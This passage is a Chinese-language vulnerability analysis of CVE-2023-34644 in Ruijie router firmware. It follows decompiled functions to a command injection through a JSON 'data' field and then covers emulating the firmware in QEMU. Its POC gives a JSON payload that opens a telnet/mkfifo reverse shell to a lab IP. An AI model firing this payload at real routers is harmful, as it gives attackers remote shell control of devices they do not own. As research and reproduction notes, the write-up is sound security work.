json_object_object_add(obj, "id", json_object_new_int(1));
//生成的 json 就是
//{
// name": "admin"
// id": 1
//}

socket基础概念

  • socket 是操作系统提供的网络编程接口,用于描述计算机之间通信的断点

  • 通过 socket,程序可以

    • 发送数据
    • 接收数据
    • 监听端口
    • 建立连接
  • 在我们刚刚分析的程序中,就是通过 socket 将构造好的 json 字符串发送给另一个进程

  • 不同类型的 socket

    • 流式套接字:

      • 底层协议:TCP

      • 特性

        • 面向连接
        • 提供可靠、顺序、完整的字节流传输
        • 会处理丢包重传和拥塞控制

        典型用途

        • HTTP 请求 / 响应
        • FTP 上传/下载
        • SSH 远程登录

        在固件中

        • uf_client_call 很可能使用 TCP socket 向 libunifyframe 的守护进程发送 JSON RPC。
        • 数据顺序和完整性很重要,因此用 TCP。
    • 数据报套接字(Datagram Socket / SOCK_DGRAM

    • 底层协议:UDP(用户数据报协议)
    • 特性
      • 无连接
      • 不保证可靠性
      • 消息是独立的,每个 sendto 对应一个 recvfrom
    • 典型用途
      • DNS 查询
      • 视频直播 / 语音传输
      • 物联网设备广播发现
    • 在固件中
      • 如果某些功能要求快速、低延迟通信,但可以丢包,可能用 UDP socket。

所以猜测,既然有 uf_socket_msg_write 发送数据,那就肯定有地方来接收数据,uf_socket_msg_read,在文件系统下搜索

1
2
3
4
yy@yy-virtual-machine:~/桌面/CVE-2023-34644/_EW_3.0.1.B11P204_EW1200GI_09243000_install.bin.extracted/squashfs-root$ grep -r uf_socket_msg_read ./
匹配到二进制文件 ./usr/lib/lighttpd/mod_unifyframe.so
匹配到二进制文件 ./usr/lib/libunifyframe.so
匹配到二进制文件 ./usr/sbin/unifyframe-sgi.elf

发现 ./usr/sbin/unifyframe-sgi.elf,并且该文件还位于 /etc/init.d 出现

1
./etc/init.d/unifyframe-sgi:PROG=/usr/sbin/unifyframe-sgi.elf

而 /etc/init.d 中存放的是系统服务启动脚本的目录,所以该进程从启动就一直存在,所以判断出 unifyframe-sgi.elf 文件就是接收 libunifyframe.so 中发来的数据的

二进制文件分析

这里借用 zikh26 师傅画的unifyframe-sgi.elf整体的流程图

读取数据

main函数里利用 uf_socket_msg_read 接收数据,其中 uf_socket_msg_read(*v29, v31 + 1) 第一个参数是文件描述符,第二个参数是接收数据存的位置

之后解析则是由 main 函数中的 parse_content 与 add_pkg_cmd2_task 进行

数据解析

调试到 parse_content 执行前

可以看到存参数的位置

发现参数是一个结构体地址,存了一些地址和数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
int __fastcall parse_content(int a1)
{
...
if ( !*(_DWORD *)(a1 + 4) ) //a1+4为数据所在,检查在不在
goto LABEL_4;
idx_2 = json_tokener_parse();
idx_1 = idx_2;
if ( !idx_2 )
{
n598 = 605;
LABEL_4:
uf_log_printf(uf_log, "ERROR (%s %s %d)para invalid!", "sgi.c", "parse_content", n598);
return -1;
}
if ( json_object_object_get_ex(idx_2, "params", &v18) != 1 ) //检查存在 params 否则返回 -1
goto LABEL_31;
if ( json_object_object_get_ex(v18, "device", &v17) == 1 && json_object_get_type(v17) == 6 ) //检查 device 是否存在&&类型是否是 string
{
string = (const char *)json_object_get_string(v17);
if ( g_debug >= 3 )
uf_log_printf(uf_log, "(%s %s %d)caller:%s", "sgi.c", "parse_content", 621, string);
}
else
{
string = 0;
}
if ( json_object_object_get_ex(idx_1, "method", &v19) != 1 ) //检查 method 是否存在
{
LABEL_31:
json_object_put(idx_1);
return -1;
}
string_1 = json_object_get_string(v19);
if ( !string_1 )
{
uf_log_printf(uf_log, "ERROR (%s %s %d)Get method failed!", "sgi.c", "parse_content", 633);
goto LABEL_31;
}
if ( strstr(string_1, "cmdArr") ) //检查method值是否是 cmdARR,是则进入不是则进else
{
v8 = v18;
*(_BYTE *)(a1 + 56) = 1;
if ( json_object_object_get_ex(v8, "params", &v16) != 1 )
goto LABEL_31;
v9 = 0;
v10 = json_object_array_length(v16);
*(_DWORD *)(a1 + 52) = v10;
while ( v9 < v10 )
{
idx = json_object_array_get_idx(v16, v9);
if ( idx )
{
v12 = (int *)malloc_cmd();
if ( !v12 )
{
uf_log_printf(uf_log, "ERROR (%s %s %d)cmd paras failed!", "sgi.c", "parse_content", 654);
break;
}
v13 = parse_obj2_cmd(idx, string);
*v12 = v13;
if ( !v13 )
{
uf_log_printf(uf_log, "ERROR (%s %s %d)cmd paras failed!", "sgi.c", "parse_content", 659);
json_object_put(idx_1);
free_cmd(v12);
return -1;
}
pkg_add_cmd(a1, v12);
v12[2] = v9;
}
++v9;
}
}
else
{
*(_DWORD *)(a1 + 52) = 1;
v14 = (int *)malloc_cmd();
if ( !v14 )
{
uf_log_printf(uf_log, "ERROR (%s %s %d)memory full!", "sgi.c", "parse_content", 673);
goto LABEL_31;
}
v15 = parse_obj2_cmd(idx_1, string); //真正解析数据的函数
*v14 = v15;
if ( !v15 )
{
uf_log_printf(uf_log, "ERROR (%s %s %d)cmd paras failed!", "sgi.c", "parse_content", 679);
free_cmd(v14);
goto LABEL_31;
}
pkg_add_cmd(a1, v14);
v14[2] = 0;
}
json_object_put(idx_1);
return 0;
}

parse_obj2_cmd:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
int __fastcall parse_obj2_cmd(int idx, int string)
{
v3 = malloc(52); //创建一个堆块用于记录过程信息并且最后返回
v5 = v3;
if ( !v3 )
{
uf_log_printf(uf_log, "ERROR (%s %s %d)memory is full!", "sgi.c", "parse_obj2_cmd", 276);
return 0;
}
memset(v3, 0, 52);
if ( string )
*(_DWORD *)(v5 + 16) = strdup(string);
if ( json_object_object_get_ex(idx, "module", &v46) != 1
|| (string_7 = json_object_get_string(v46), (string_8 = string_7) == 0)
|| strcmp(string_7, "esw") )//检查module是否存在并且值是否为esw,有一个不满足就进入if
{
if ( json_object_object_get_ex(idx, "method", &v46) != 1 )//解析 method
{
uf_log_printf(uf_log, "ERROR (%s %s %d)obj_method is null", "sgi.c", "parse_obj2_cmd", 346);
goto LABEL_137;
}
string_1 = json_object_get_string(v46); //获取 method 的值去下面匹配对应操作,每种操作对应一个数字,存在堆块的第一个指针处
string_2 = string_1;
if ( !string_1 )
{
uf_log_printf(uf_log, "ERROR (%s %s %d)s_method is null", "sgi.c", "parse_obj2_cmd", 352);
goto LABEL_137;
}
if ( strstr(string_1, "devSta") )
{
n2 = 2;
}
else
{
if ( strstr(string_2, "acConfig") )
{
*(_DWORD *)v5 = 0;
goto LABEL_50;
}
if ( strstr(string_2, "devConfig") )
{
*(_DWORD *)v5 = 1;
goto LABEL_50;
}
if ( strstr(string_2, "devCap") )
{
n2 = 3;
}
else
{
if ( !strstr(string_2, "ufSys") )
{
uf_log_printf(uf_log, "ERROR (%s %s %d)invalid method", "sgi.c", "parse_obj2_cmd", 367);
LABEL_50:
v19 = strchr(string_2, 46);
v20 = strdup(v19 + 1);
*(_DWORD *)(v5 + 4) = v20;
if ( !v20 )
{
n375 = 375;
goto LABEL_136;
}
if ( json_object_object_get_ex(idx, "params", &v47) == 1 )
{
if ( json_object_object_get_ex(v47, "module", &v46) == 1 )
{
string_3 = json_object_get_string(v46);
if ( string_3 )
{
string_4 = strdup(string_3);
*(_DWORD *)(v5 + 8) = string_4;
if ( !string_4 )
{
n375 = 397;
goto LABEL_136;
}
if ( json_object_object_get_ex(v47, "remoteIp", &v46) == 1
&& (unsigned int)(json_object_get_type(v46) - 5) < 2 )
{
string_5 = json_object_get_string(v46);
if ( string_5 )
{
string_6 = strdup(string_5);
*(_DWORD *)(v5 + 20) = string_6;
if ( !string_6 )
{
n375 = 419;
goto LABEL_136;
}
}
}
else
{
*(_DWORD *)(v5 + 20) = 0;
}
goto LABEL_66;
}
uf_log_printf(uf_client_log, "(%s %s %d)obj_module is null", "sgi.c", "parse_obj2_cmd", 392);// "/tmp/uniframe_sgi/client.log"
}
else
{
uf_log_printf(uf_log, "ERROR (%s %s %d)obj_module is null", "sgi.c", "parse_obj2_cmd", 387);// "/tmp/uniframe_sgi/sgi.log"
}
}
else
{
uf_log_printf(uf_log, "ERROR (%s %s %d)params is null", "sgi.c", "parse_obj2_cmd", 381);// "/tmp/uniframe_sgi/sgi.log"
}
LABEL_137:
cmd_msg_free(v5);
return 0;
}
n2 = 4;
}
}
*(_DWORD *)v5 = n2;
goto LABEL_50;
.....//此处省略许多,做的都是解析字段,写入内存
if ( json_object_object_get_ex(v47, "data", &v46) == 1 && (unsigned int)(json_object_get_type(v46) - 4) < 3 )//判断 params 字段中是否存在 data,如果由则将其值赋给 v37,并且检查类型,只能是 object,array,string三种之一,然后将 data 值放在堆的第四个指针处(报文中并没有设置 data,但是接收的数据在写入内存前就自动添加了 data 字段)
{
string_16 = json_object_get_string(v46);
if ( string_16 )
{
string_17 = strdup(string_16);
*(_DWORD *)(v5 + 12) = string_17;
if ( !string_17 )
{
n375 = 561;
goto LABEL_136;
}
}
}
return v42;
}

这个结束后会执行

1
2
3
4
5
6
7
8
9
10
11
12
int __fastcall pkg_add_cmd(int a1, _DWORD *a2)
{
_DWORD *v2; // $v0

v2 = *(_DWORD **)(a1 + 92);
*(_DWORD *)(a1 + 92) = a2 + 13; //这里不知道为何+13
a2[13] = a1 + 88;
a2[14] = v2;
*v2 = a2 + 13;
a2[15] = a1;
return gettimeofday(a2 + 3, 0);
}

主要作用是在 a1 中记录了 a2 的指针,而从 parse_content 可以得出 a2 是 parse_obj2_cmd 的返回值。所以就是将解析后的各个字段的内存记录到了 a1 之中,可以通过 a1 访问刚刚解析出来的各个字段

解析后各自段如下

add_pkg_cmd2_task

现在看接下来执行的 add_pkg_cmd2_task(_DWORD *a1) 函数,其中 a0 就是执行 parase_content 函数的结构体地址

1773849630475

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
int __fastcall add_pkg_cmd2_task(_DWORD *a1)
{
if ( n1001 < 1001 )
{
pthread_mutex_lock(*a1 + 20);
v3 = (_DWORD *)a1[22];
v4 = (int **)(v3 - 13); //这里记录的就是解析出来的json各自段的地址,-13是因为存的时候+13
for ( i = *v3 - 52; ; i = *(_DWORD *)(i + 52) - 52 )
{
if ( v4 + 13 == a1 + 22 )
{
pthread_mutex_unlock(*a1 + 20);
return 0;
}
v6 = malloc(20);
v7 = v6;
if ( !v6 )
{
uf_log_printf(uf_log, "ERROR (%s %s %d)memory full!", "uf_cmd_task.c", "cmd_add_task", 164);
uf_log_printf(
uf_log,
"ERROR (%s %s %d)[%s]module cmd to task failed!",
"uf_cmd_task.c",
"add_pkg_cmd2_task",
203,
(const char *)(*v4)[2]);
uf_log_printf(uf_log, "ERROR (%s %s %d)cmd to task failed!", "uf_cmd_task.c", "error_task_handle", 181);
v4[12] = (int *)2;
v8 = v4[15];
n2 = v8[12] + 1;
LABEL_17:
v8[12] = n2;
goto LABEL_23;
}
v10 = v6 + 4;
*(_DWORD *)(v7 + 8) = v10;
*(_DWORD *)(v7 + 4) = v10;
*(_DWORD *)v7 = v4;
*(_DWORD *)(v7 + 16) = v7 + 12;
*(_DWORD *)(v7 + 12) = v7 + 12;
if ( g_debug >= 3 )
uf_log_printf(
uf_log,
"(%s %s %d)[%x]cmd start[%s]",
"uf_cmd_task.c",
"cmd_add_task",
171,
v7,
(const char *)(*v4)[2]);
*(_DWORD *)v7 = v4;
v11 = *v4;
n3 = **v4;
if ( n3 == 3 )//这里判断n3就是前面解析的method的值,因为发送的是merge(实际传入的是devSta.set)所以v12最终在前面被解析成了2
break;
if ( n3 == 4 )
{
gettimeofday(v4 + 5, 0);
uf_sys_handle(**(_DWORD **)v7, v4 + 1);
LABEL_22:
gettimeofday(v4 + 7, 0);
sub_40B644(v7);
goto LABEL_23;
}
if ( n3 == 2 && !strcmp(v11[1], "get") && !v11[9] && uf_cmd_buf_exist_check(v11[2], 2, v11[3], v4 + 1) )//这里因为我们的字符串是set而不是get,所以这个if进不去
{
if ( g_debug >= 3 )
uf_log_printf(
uf_log,
"(%s %s %d)dev_sta get -m %s from buf:%s",
"uf_cmd_task.c",
"add_pkg_cmd2_task",
231,
*(const char **)(**(_DWORD **)v7 + 8),
(const char *)v4[1]);
*(_DWORD *)(*(_DWORD *)v7 + 44) = 1;
sub_40B644(v7);
v8 = *(int **)v7;
n2 = 2;
goto LABEL_17;
}
sub_40B304(v7);//会走到这里执行这个函数
LABEL_23:
v4 = (int **)i;
}
gettimeofday(v4 + 5, 0);
if ( uf_cmd_call(*v4, v4 + 1) )
n2_1 = 2;
else
n2_1 = 1;
v4[12] = (int *)n2_1;
goto LABEL_22;
}
v1 = -1;
if ( g_debug )
uf_log_printf(uf_log, "WARN (%s %s %d)CMD TASK full!", "uf_cmd_task.c", "add_pkg_cmd2_task", 196);
return v1;
}

sub_40B304,该函数关键作用是过过渡到 sub_40B0B0

跳转到sub_40b304前

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
int __fastcall sub_40B304(int **a1)
{
v2 = **a1;
if ( *(_DWORD *)v2 == 5 )//上图可知,v2为传进来的参数,2,所以这里进不去
{
LABEL_2:
*(_BYTE *)(v2 + 48) = 1;
if ( byte_435EC9 )//这里是硬编码的1
{
v3 = a1;
p_pthread_mutex_unlock = (int (*)())sub_40B0B0;//将sub_40B0B0的指针给p_pthread_mutex_unlock
return ((int (__fastcall *)(int **))p_pthread_mutex_unlock)(v3);
}
LABEL_28:
v3 = a1;
p_pthread_mutex_unlock = sub_40B168;
return ((int (__fastcall *)(int **))p_pthread_mutex_unlock)(v3);
}
if ( *(_DWORD *)(v2 + 20) )//这里v2+20为remoteIp字段,lua在处理的时候,加上了remoteIp字段,有值,但值为空
{
v5 = is_self_ip(*(_DWORD *)(v2 + 20));//传入指向空字符串的地址,返回值0
v6 = *a1;
if ( !v5 )
{
v2 = *v6;
goto LABEL_2;//执行到此进行跳转
}
v6[11] = 3;
}
}

sub_40B0B0对关键信号量进行处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int __fastcall sub_40B0B0(_DWORD *a1)
{
_DWORD *v2; // $v1
_DWORD *v3; // $v1
++dword_435ECC;
pthread_mutex_lock(&unk_435E74);
v2 = (_DWORD *)dword_435DC4;
a1[3] = &cmd_task_run_head;
dword_435DC4 = (int)(a1 + 3);
a1[4] = v2;
*v2 = a1 + 3;
v3 = (_DWORD *)dword_435DB4;
a1[2] = dword_435DB4;
dword_435DB4 = (int)(a1 + 1);
a1[1] = &cmd_task_remote_head;
*v3 = a1 + 1;
pthread_mutex_unlock(&unk_435E74);
sem_post(&unk_435E90);//该函数最关键的部分就是此处sem_post对信号量unk_435E90操作,set_post:POSIX信号量操作,该函数给信号量+1,并唤醒一个正在等待它的线程
return 0;
}

所以就要找哪里阻塞了线程,发现在 uf_task_remote_pop_queue 函数中的 sem_wait(&unk_453E90) 本身卡住了,在这里对信号量+1后,就可以执行调用 uf_task_remote_pop_queue 的函数 deal_remote_config_handle ,从而继续调用到了关键的 uf_cmd_call 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
void __fastcall __noreturn deal_remote_config_handle(int a1)
{
int v1; // $v0
int v3; // $v0
_DWORD *v4; // $s1
int v5; // $s6
int n2; // $v0
int v7; // $a0

v1 = pthread_self();
pthread_detach(v1);
pthread_setcanceltype(1, 0);
prctl(15, "remote_config_handle");
while ( 1 )
{
do
{
*(_DWORD *)(a1 + 16) = 0;
v3 = uf_task_remote_pop_queue(); //这里调用uf_task_remote_pop_queue
*(_DWORD *)(a1 + 16) = v3;
}
while ( !v3 );
v4 = *(_DWORD **)v3;
strncpy(a1 + 20, *(_DWORD *)(**(_DWORD **)v3 + 8), 63);
*(_DWORD *)(a1 + 8) = dword_435E8C;
*(_BYTE *)(a1 + 12) = 1;
if ( g_debug >= 3 )
uf_log_printf(
uf_log,
"(%s %s %d)********start:[%s]",
"uf_cmd_task.c",
"deal_remote_config_handle",
482,
*(const char **)(***(_DWORD ***)(a1 + 16) + 8));// "/tmp/uniframe_sgi/sgi.log"
cmd_check_debug(*v4);
gettimeofday(v4 + 5, 0);
v5 = uf_cmd_call(*v4, v4 + 1);//这里执行关键的uf_cmd_call
gettimeofday(v4 + 7, 0);
n2 = 2;
if ( !v5 )
n2 = 1;
v4[12] = n2;
if ( g_debug >= 3 )
uf_log_printf(
uf_log,
"(%s %s %d)********end:[%s]",
"uf_cmd_task.c",
"deal_remote_config_handle",
493,
*(const char **)(***(_DWORD ***)(a1 + 16) + 8));// "/tmp/uniframe_sgi/sgi.log"
v7 = *(_DWORD *)(a1 + 16);
*(_BYTE *)(a1 + 12) = 0;
sub_40B644(v7);
*(_DWORD *)(a1 + 16) = 0;
}
}

uf_cmd_call

栈区变了颜色,意味着这些地址是内存共享区的地址,线程中的栈区就是父进程中内存共享区地址

Z

我们这里是 devSta 为 2 ,所以这个 if 进不去

if调试界面

然后出来到

这里 v2 是 devSta.set 中的 set 部分,uf_ex_cmd_type 数组

第一个元素就是 set,所以这个 while 进不去

然后

这里 a1+45 当时解析的时候有一个标志位,但这个 from_url 并没有特别设置,所以这里为 0,进入 if (!v17),执行跳转 goto LABEL_86

(a1+45)

然后到 LABEL_86

这里 v110[20] 是 data 字段,调试后发现 false,进不去

然后到

调试后知道 v103[7] 为 2,这里进不去,然后触发 goto LABEL_174 然后 goto LABEL_175

401行判断 get 不成功,因为 v103[5] 是 set

435行可以进入,但是 423 行,可以通过特定条件满足为 1,但是没控制时,调试来发现偏移 48 位置仍然为 1,可能时之前某处代码设置了这个位置的值,总之这里 if 进不去

然后出来后直接到了

ufm_handle

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int __fastcall ufm_handle(int a1)
{

...
v2 = *(const char **)(a1 + 8);
v4 = *(_DWORD *)(a1 + 20);
v5 = *(_DWORD *)(a1 + 56);
if ( !v2 || !*v2 ) //这里*(a1+8)是0,进入
goto LABEL_184;//这里跳转
LABEL_184:
if ( !strcmp(v5, "group_change") || !strcmp(v5, "network") || !strcmp(v5, "network_group") )
sub_40E498();
v7 = strcmp(v4, "get"); //v4是set
if ( !v7 ) //进不去
{
...
}
if ( !strcmp(v4, "set") || !strcmp(v4, "add") || !strcmp(v4, "del") || !strcmp(v4, "update") ) //这里可以进
{
v33 = sub_40FD5C(a1); //关键函数
LABEL_168:
v1 = v33;
goto LABEL_175;
}
...
}

sub_4DFD5C(a1)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
int __fastcall sub_40FD5C(int *a1)
{
memset(v60, 0, sizeof(v60));
v2 = (_BYTE *)a1[20]; //data 字段
if ( !v2 || !*v2 )
return -1;
n2 = a1[7]; //2,因为 devSta
v4 = n2 < 2;//因为上一句,所以这里 v4=0
if ( n2 )
{
v5 = json_object_object_get(a1[23], "sn");
if ( !v5 )
goto LABEL_45;
...
LABEL_45:
n2 = a1[7];
goto LABEL_46;
}
...
LABEL_46:
v4 = n2 < 2;
goto LABEL_47;
...
LABEL_47:
if ( v4 ) //触发下面的else
{
...
}
else
{
if ( n2 != 2 ) //v3=2,进不去
{
....
}
v18 = sub_40CEAC(a1, a1 + 22, 0, 0);//到这里,触发关键函数

sub_40CEAC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
 if ( strcmp(v5, "commit") )//这里 v5=set,这里判断的是不为commit则进入if,所以这两个if都可以进入
{
if ( strcmp(v5, "init") )
{
if ( !a4 && !a1[7] )//a4固定0.但 a1[7]=2,导致这个if进不去
{
...
}
}
}
LABEL_29:
gettimeofday(v96, 0);
v22 = a1[24];
if ( !*(_DWORD *)(v22 + 160) )
{
if ( !is_module_support_lua(a1[24], a1) )
{
v69 = a1[20];//这里是data字段
if ( v69 )
v70 = strlen(v69);
else
v70 = 0;
...
if ( a3 )//a3是固定的0
{
...
}
else if ( a4 )//a4也是固定0
{
...
}
else
{
v76 = snprintf(v72, v74, "/usr/sbin/module_call %s %s", (const char *)a1[5], (const char *)(v73 + 8));
v77 = (const char *)a1[20];//v71是data字段
v78 = &v72[v76];
if ( v77 )//如果 data 存在,就进行拼接
v78 += snprintf(&v72[v76], v74, " '%s'", v77);//存在命令注入,data是我们可控的
v79 = a1[21];
if ( v79 )
snprintf(v78, v74, " %s", v79
}
...
if ( (!v81 || !strcmp(v80, "commit") || a3) && *((_BYTE *)a1 + 4) )
{
if ( v82 && g_debug >= 2 || g_debug >= 3 )
uf_log_printf(uf_log, "(%s %s %d)start 1----------cmd:%s", "ufm_handle.c", "call_module_commit", 454, v72);// "/tmp/uniframe_sgi/sgi.log"
ufm_commit_add(0, v72, 1, 0);
n77771 = 0;
}
else
{
if ( v82 && g_debug >= 2 || g_debug >= 3 )
uf_log_printf(uf_log, "(%s %s %d)start 2----------cmd:%s", "ufm_handle.c", "call_module_commit", 459, v72);// "/tmp/uniframe_sgi/sgi.log"
n77771 = ufm_commit_add(0, v72, 0, a2);//这里 v72 是上面拼接后最终的命令
}

而 ufm_commit_add 函数最开始直接调用了 async_cmd_push_queue 函数,所以接下来直接对其进行分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
 memset(v6, 0, 68);
if ( !a1 )//a1是传进来的0
{
if ( a2 )//a2是刚刚拼接的注入的命令字符串
{
v19 = strdup(a2); //走到这里
*(_DWORD *)(v7 + 28) = v19;//将命令存到偏移28的位置
if ( v19 )
goto LABEL_32;//从这跳转
uf_log_printf(uf_log, "ERROR (%s %s %d)memory malloc failed![%s]", "ufm_thd.c", "async_cmd_push_queue", 133, a2);// "/tmp/uniframe_sgi/sgi.log"
}
else
{
uf_log_printf(uf_log, "ERROR (%s %s %d)invalid commit para!", "ufm_thd.c", "async_cmd_push_queue", 139);// "/tmp/uniframe_sgi/sgi.log"
}
LABEL_27:
free(v7, v9);
goto LABEL_5;
}
LABEL_32:
v20 = (_DWORD *)dword_435DE0;
*(_DWORD *)(v7 + 60) = &commit_task_head;
dword_435DE0 = v7 + 60;
n1001 = ::n1001;
*(_DWORD *)(v7 + 64) = v20;
*v20 = v7 + 60;
::n1001 = n1001 + 1;
*(_BYTE *)(v7 + 32) = v3;
if ( !v3 )
sem_init(v7 + 36, 0, 0);
pthread_mutex_unlock(&unk_4360B8);
sem_post(&unk_4360A8);//这里+1信号量,说明有一个线程被阻塞了,交叉调用查看
return v7;
}

追踪到了这个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
void __fastcall __noreturn sub_41AFC8(int a1)
{
int v2; // $v0
int commit_task_head; // $v0
int v4; // $s0
int v5; // $a1
int v6; // $a0

pthread_setcanceltype(1, 0);
v2 = pthread_self();
pthread_detach(v2);
prctl(15, "exec_cmd_task");
*(_BYTE *)(a1 + 8) = 0;
while ( 1 )
{
do
{
sem_wait(&unk_4360A8);
pthread_mutex_lock(&unk_4360B8);
commit_task_head = ::commit_task_head;
if ( (int *)::commit_task_head == &::commit_task_head )
{
v4 = 0;
}
else
{
v4 = ::commit_task_head - 60;
*(_DWORD *)(*(_DWORD *)::commit_task_head + 4) = *(_DWORD *)(::commit_task_head + 4);
**(_DWORD **)(commit_task_head + 4) = *(_DWORD *)commit_task_head;
*(_DWORD *)(commit_task_head + 4) = 0;
*(_DWORD *)commit_task_head = 0;
--n1001;
}
pthread_mutex_unlock(&unk_4360B8);
*(_DWORD *)(a1 + 12) = v4;
}
while ( !v4 );
*(_DWORD *)(a1 + 4) = dword_4360A0;
*(_BYTE *)(a1 + 8) = 1;
sub_41ADF0(v4);//走到这
*(_BYTE *)(a1 + 8) = 0;
if ( *(_BYTE *)(v4 + 32) )
{
v6 = *(_DWORD *)(v4 + 52);
if ( v6 )
free(v6, v5);
sub_41AD10(v4);
}
else
{
sem_post(v4 + 36);
}
*(_DWORD *)(a1 + 12) = 0;
}
}

sub_41ADF0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
int __fastcall sub_41ADF0(_DWORD *a1)
{
int v1; // $v0
int n231; // $v0
_DWORD *v3; // $v1
_BYTE v4[128]; // [sp+20h] [-8Ch] BYREF
int v5; // [sp+A0h] [-Ch]

v1 = *a1;
if ( *a1 )
{
if ( (a1[5] & 2) == 0 )
{
n231 = (*(int (__fastcall **)(_DWORD *, _DWORD *))(v1 + 68))(a1 + 1, a1 + 13);
v3 = a1;
LABEL_8:
v3[14] = n231;
return n231;
}
v5 = v1 + 76;
pthread_mutex_lock(v1 + 76);
if ( _sigsetjmp(v4, 0) )
{
pthread_mutex_unlock(v5);
_pthread_unwind_next(v4);
}
_pthread_register_cancel(v4);
if ( *a1 )
{
a1[14] = (*(int (__fastcall **)(_DWORD *, _DWORD *))(*a1 + 68))(a1 + 1, a1 + 13);
if ( g_debug >= 2 )
uf_log_printf(
uf_log,
"(%s %s %d)backgroup exec end[%s]",
"ufm_thd.c",
"exec_commit",
220,
(const char *)(*a1 + 4)); // "/tmp/uniframe_sgi/sgi.log"
}
pthread_mutex_unlock(v5);
return _pthread_unregister_cancel(v4);
}
else
{
if ( !*((_BYTE *)a1 + 32) )
{
n231 = ufm_popen(a1[7], a1 + 13);//这里a1[7],就是偏移28,也就是存着注入的字符串的位置。ufm_popen会最终调用popen(a1[7],"r");
v3 = a1;
goto LABEL_8;
}
uf_fork_as(a1[7]);
n231 = 231;
if ( g_debug >= 2 )
// "/tmp/uniframe_sgi/sgi.log"
return uf_log_printf(uf_log, "(%s %s %d)uf_fork_as [%s]", "ufm_thd.c", "exec_commit", 231, (const char *)a1[7]);
}
return n231;
}

POC

发送POST报文

1
2
3
4
5
6
{
"method": "merge",
"params": {
"sorry": "'$(mkfifo /tmp/test;telnet 192.168.221.137 6666 0</tmp/test|/bin/sh > /tmp/test)'"
}
}

效果如下

固件仿真及调试

首先从https://people.debian.org/~aurel32/qemu/mipsel下载vmlinux-3.2.0-4-4kc-malta内核与debian_squeeze_mipsel_standard.qcow2文件系统

然后qemu启动

1
2
3
4
5
6
7
8
9
10
#!/bin/bash
sudo qemu-system-mipsel \
-cpu 74Kf \
-M malta \
-kernel vmlinux-3.2.0-4-4kc-malta \
-hda debian_squeeze_mipsel_standard.qcow2 \
-append "root=/dev/sda1 console=ttyS0" \
-net nic,macaddr=00:16:3e:00:00:01 \
-net tap \
-nographic

启动后配置网络,qemu中 nano /etc/network/interfaces,将原本的 eth0 改成 qemu 中 ip addr 中的网卡

1
2
allow-hotplug eth1
iface eth1 inet dhcp

然后 ifup eth1

保证与宿主机之间能 ping 通,不过我这里没显示,所以自己添加了ip

1
2
ifconfig eth1 192.168.221.200 netmask 255.255.255.0 up # 设置同一个网段下的ip
route add default gw 192.168.221.2 # 添加默认网关

这里 ip 改成宿主机内 ip addr 同一网段下的ip

然后将文件系统传入 qemu 内

1
scp -r ./squashfs-root root@192.168.221.200:/root/

然后在 qemu 内

1
2
3
4
5
cd /root/squashfs-root
chmod -R 777 ./
mount --bind /proc proc
mount --bind /dev dev
chroot . /bin/sh

chmod 给所有文件权限,然后 mount 将 /proc 和 /dev 挂载到 rootfs 中的 proc 和 dev 中,然后利用 chroot 将根目录切换到 rootfs。

然后就是对固件进行仿真,对于 openWRT(一个基于 linxu 内核的嵌入式操作系统,主要运行在路由器等网络设备上),首先会启动 /sbin/init,启动后会卡住挂在进程中,这里可以 ssh 新开一个窗口继续操作

然后启动 httpd(http daemon,提供 http(网页)服务的后台进程) 服务,用/etc/init.d/lighttpd start,发现其缺少文件

创建空文件后再次启动

1
2
3
4
5
6
7
8
mkdir /var/run
touch /var/run/lighttpd.pid

mkdir /rom/etc
mkdir /rom/etc/lighttpd
touch /rom/etc/lighttpd/lighttpd.conf

/etc/init.d/lighttpd start

进程中有了

浏览器中也可访问

然后就是启动 unifyframe-sgi.elf ,出现错误

因为 unifyframe-sgi.elf 用 ubus 总线进行进程间通信,因此需要先启动ubus通信,才能启动 uf_ubus_call.elf,才能启动 unifyframe-sgi.elf

1
/sbin/ubusd 

然后启动

1
